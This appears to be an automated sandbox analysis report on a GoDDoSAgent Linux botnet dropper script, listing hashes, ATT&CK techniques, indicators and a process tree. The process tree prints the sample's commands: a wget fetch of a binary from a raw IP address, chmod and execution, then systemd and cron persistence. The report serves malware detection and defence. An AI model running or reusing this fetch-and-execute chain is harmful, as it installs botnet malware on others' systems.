goddosagent | fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167

General

Target
bins.sh
Size 2KB
Sample261014-w4emrag161
SHA256 fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167
MD5 91074cd8c027be18c63dd1d8662aac2a
SHA1 56460e107cda83bca9ac6da74f40e2168243e8e8
SHA512 3d300ca932b27863f3c64b02ebb5c0eec65fc26b444137e3ca43b68d3824215038508e34215bb4fdd2ed34f568de6aafed999f3f61b1c85072d0a6078319025b
TLSH
T1D641A29B236080B3C846DD51FF5418E4D49EE6E3B963DBFCACAC98A3006915CF1A2E50
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery execution goddosagent persistence privilege_escalation

Malware Config

Signatures

Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
botnet goddosagent

Detects GoDDoSAgent 1 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_goddosagent

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1549	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/x86	1550	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YuNyIB	crontab

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/sysd.service	x86

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	x86
File opened for modification	/usr/bin/sysd	x86

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	x86

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/meminfo	x86
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/stat	x86
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/sched	systemctl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/cron_tmp	x86

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1538
- /usr/bin/wget
  wget http://5.83.136.39:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/x86
  ./x86
  2⤵
  - Modifies systemd
  - Write file to user bin folder
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1550
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Reads runtime system information
    PID:1553
- - /bin/systemctl
    systemctl enable sysd
    3⤵
    - Reads runtime system information
    PID:1574
- - /bin/systemctl
    systemctl start sysd
    3⤵
    - Reads runtime system information
    PID:1595
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:1600
- - /usr/bin/crontab
    crontab /tmp/cron_tmp
    3⤵
    - Creates/modifies Cron job
    PID:1601

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Boot or Logon Autostart Execution

1

T1547

XDG Autostart Entries

1

T1547.013

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

XDG Autostart Entries

1

T1547.013

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysd.service

Path /etc/systemd/system/sysd.service
Size 175B
SHA256 cfad0df157c997fe75b54580ef544beb90f6275851878e1cf3b9a7749e3fab40
MD5 8323ab0ba9ec116e3b66efde6ff75664
SHA1 33960d0a27791cd23fc159c203a7f98d43b233e0
SHA512 e747fdd6381d96958e16a3439e8bd4e3edfe8c117176f5578dc7cd71f971a9e4859585bb6c9c56104e108b6867eaea1b681403586db6e6102cabe66b3b508379
TLSH
T110C0C023762060F0DD4E2C724FA377804E1101440F8DF0304FC1210540D46478038CAD
MD5 SHA1 SHA512 TLSH

Submit Download

cron_tmp

Path /tmp/cron_tmp
Size 41B
SHA256 3a13b88885017f3318032aef9d0b829caf810c14f7dfa8440848b458499d0edf
MD5 5d2863a8c3d98587606d4b4fea75ae2c
SHA1 a62d1eb1b286feace3774c8c16a7b14904ccb787
SHA512 e84f3d04cca77b5004637b8d6bea9dc0a307a87e67882d82e2dcc62f5012df99aea96ee6d1135b47a7a98116c0649f14d29d58b4cf9eaa5e658e2965593d33d1
MD5 SHA1 SHA512

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 f2b142128ec6ea6b017ec15cace0f6f1a4428a7ac9c93899cda06a0201f29df1
MD5 13b1153a5ebab113bc4c12b7158bbc08
SHA1 ff049fca23cba634a2e8925de54a8fb406635e37
SHA512 0e7707967b11031857ccae2f0a9d010fbd2f05dff5f355515fdeda9d31d784751edf532cef6e62a4ebfb2f4c4d5c7185383a9797aa3761e7111a8ea2aefbb2ff
SSDEEP 49152:0uqVbCx/rSvvbzN2DdYu5SdUp2xq9mZzYFqiYFMdk8JHD:rqVhvvuyq1Yq
TLSH
T1E2361850FECB45F6E903193144AFA22F57315D098B24EBC7EA507F2AF97B692193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.YuNyIB

Path /var/spool/cron/crontabs/tmp.YuNyIB
Size 228B
SHA256 e6cb9958fdc813b855d8760891a9602d8d44de80d12bef0bf00c2f619d059c25
MD5 33c75b666e70a9d48dcff8b07bcf989a
SHA1 7ed9dda3fac2770f759f7c5105f5316946117d17
SHA512 b76938d13b7cf306dd9f26c3c95288de03a2913b17af500b3c7e42dc00358eec6e2ff2c822c96b533729f09d938ebf5cf170a8f4e0ea2c879e14d9b8cd37fb90
TLSH
T13AD0237C7F206D356E140745115B552E9992547D940DBF50F1CDF018515D36F7740E33
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads